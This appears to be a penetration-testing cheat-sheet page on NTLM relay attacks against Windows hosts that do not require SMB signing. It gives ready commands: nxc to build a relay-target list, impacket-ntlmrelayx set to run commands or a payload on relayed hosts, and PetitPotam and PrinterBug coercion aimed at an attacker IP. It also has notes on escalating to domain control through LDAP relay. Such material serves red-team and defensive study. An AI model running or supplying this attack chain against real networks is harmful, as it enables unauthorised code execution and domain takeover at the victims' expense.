SMB signing adds a message authentication code to each packet, keyed by the session, so a session cannot be hijacked or relayed. When a server does not require signing, that protection is absent, and NTLM authentication becomes relayable: an attacker who receives a victim's NTLM authentication (by coercing or capturing it) forwards that same authentication to a second server that does not require signing, completing the handshake there as the victim, without ever knowing the victim's password. The authentication is live, so the attacker then holds a session on the relayed-to host with the victim's privileges.
Why it works, and the gates#
NTLM is a challenge-response protocol with no binding to the specific server, so the messages the client computes for server A are equally valid at server B. SMB signing (and channel binding for other protocols) is what would bind them; without required signing on the destination, relay succeeds. Check signing posture first:
# which hosts do NOT require signing (relay targets)
nxc smb <subnet> --gen-relay-list relay_targets.txt # writes hosts with signing:False
nxc smb <target> # "signing:False" in the line
The relay chain#
# 1. set up the relay to the signing-disabled targets, asking for a shell/exec on success
impacket-ntlmrelayx -tf relay_targets.txt -smb2support
# -c 'powershell -enc ...' run a command on relay | -e payload.exe
# --escalate-user <user> (LDAP target) grant rights | -i interactive SMB client
# 2. drive a victim's authentication to the attacker so it can be relayed:
# - coerce a server/DC to authenticate to the attacker (PetitPotam/PrinterBug/DFSCoerce)
# - or capture it by poisoning name resolution (Responder) and set SMB/HTTP to OFF there
Two halves: the relay (ntlmrelayx) waits to forward authentication to the targets, and a coercion or capture technique makes a victim authenticate to the attacker. Coercion is the reliable trigger: a machine account forced to authenticate (via MS-EFSRPC/PetitPotam, the MS-RPRN PrinterBug, or DFSCoerce) relayed to LDAP can escalate, and relayed to SMB can run code on another host.
# coerce a target to authenticate to the attacker host (pairs with ntlmrelayx)
impacket-petitpotam <attacker-ip> <target-dc>
printerbug.py 'DOM/user:pass@<target>' <attacker-ip>
Exploitation notes#
- The destination must not require signing; domain controllers require it by default (so DCs are poor SMB-relay destinations) but ordinary servers frequently do not. The
--gen-relay-listscan produces the target set. - Relaying to LDAP/LDAPS on a DC enables escalation (for example granting the victim's machine account rights, or RBCD), while relaying to SMB on a server gives command execution there; choose the destination protocol by goal.
- Coercion is what makes relay reliable rather than opportunistic: forcing a privileged machine account to authenticate and relaying it is a standard path to domain escalation; the coercion techniques are domain methods that pair with this file surface.
- Cross-protocol relay (HTTP to LDAP, etc.) widens options;
ntlmrelayxsupports multiple destination protocols.